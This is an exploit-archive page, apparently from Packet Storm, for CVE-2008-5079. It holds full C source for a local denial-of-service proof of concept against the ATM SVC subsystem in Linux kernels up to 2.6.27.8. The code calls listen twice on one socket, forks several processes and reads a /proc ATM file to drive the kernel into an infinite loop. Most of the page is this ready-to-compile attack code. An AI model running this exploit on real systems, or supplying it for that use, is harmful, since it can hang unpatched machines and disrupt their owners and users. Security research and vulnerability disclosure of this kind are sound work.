exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux Kernel Denial Of Service Exploit

Linux Kernel Denial Of Service Exploit
Posted Dec 10, 2008
Authored by Jon Oberheide

Linux kernel versions 2.6.27.8 and below ATMSVC local denial of service exploit.net/atm/svc.c in the ATM subsystem in the Linux kernel 2.6.27.8 and earlier allows local users to cause a denial of service (kernel infinite loop) by making two calls to svc_listen for the same socket, and then reading a /proc/net/atm/*vc file, related to corruption of the vcc table.

tags | exploit, denial of service, kernel, local
systems | linux
advisories | CVE-2008-5079
SHA-256 | 1ac5511bb7124a05d8d0461db2da89076c5d7276da1e422a0eed18b95223456a

Linux Kernel Denial Of Service Exploit

Change Mirror Download
/*
* cve-2008-5079.c
*
* Linux Kernel <= 2.6.27.8 ATMSVC local DoS
* Jon Oberheide <jon@oberheide.org>
*
* http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5079:
*
* net/atm/svc.c in the ATM subsystem in the Linux kernel 2.6.27.8
* and earlier allows local users to cause a denial of service
* (kernel infinite loop) by making two calls to svc_listen for the
* same socket, and then reading a /proc/net/atm/*vc file, related
* to corruption of the vcc table.
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <linux/atm.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>

#define NR_CPUS 8
#define PROC_ATM "/proc/net/atm/pvc"

int
main(void)
{
char *err, dummy[1024];
int i, ret, sock, proc;
struct atm_qos qos;
struct sockaddr_atmsvc addr;

printf("[+] creating ATM socket...\n");

sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);
if (sock < 0) {
err = "socket(2) for type PF_ATMSVC failed";
printf("[-] PoC error: %s (%s)\n", err, strerror(errno));
return 1;
}

memset(&qos, 0, sizeof(qos));
qos.rxtp.traffic_class = ATM_UBR;
qos.txtp.traffic_class = ATM_UBR;
qos.aal = ATM_NO_AAL;

printf("[+] setting socket QoS options...\n");

ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &qos, sizeof(qos));
if (ret == -1) {
err = "setsockopt(2) for option SO_ATMQOS failed";
printf("[-] PoC error: %s (%s)\n", err, strerror(errno));
return 1;
}

memset(&addr, 0, sizeof(addr));
addr.sas_family = AF_ATMSVC;

printf("[+] binding socket...\n");

bind(sock, (struct sockaddr *) &addr, sizeof(addr));

printf("[+] socket listen...\n");

listen(sock, 10);

printf("[+] duplicate socket listen...\n");

listen(sock, 10);

printf("[+] attempting local DoS...\n");

for (i = 0; i < NR_CPUS; ++i) {
if (fork() != 0) {
break;
}
}

proc = open(PROC_ATM, O_RDONLY);
if (proc == -1) {
err = "opening " PROC_ATM " failed";
printf("[-] PoC error: %s (%s)\n", err, strerror(errno));
return 1;
}
ret = read(proc, &dummy, 1024);
close(proc);

printf("[-] Local DoS failed.\n");

return 0;
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close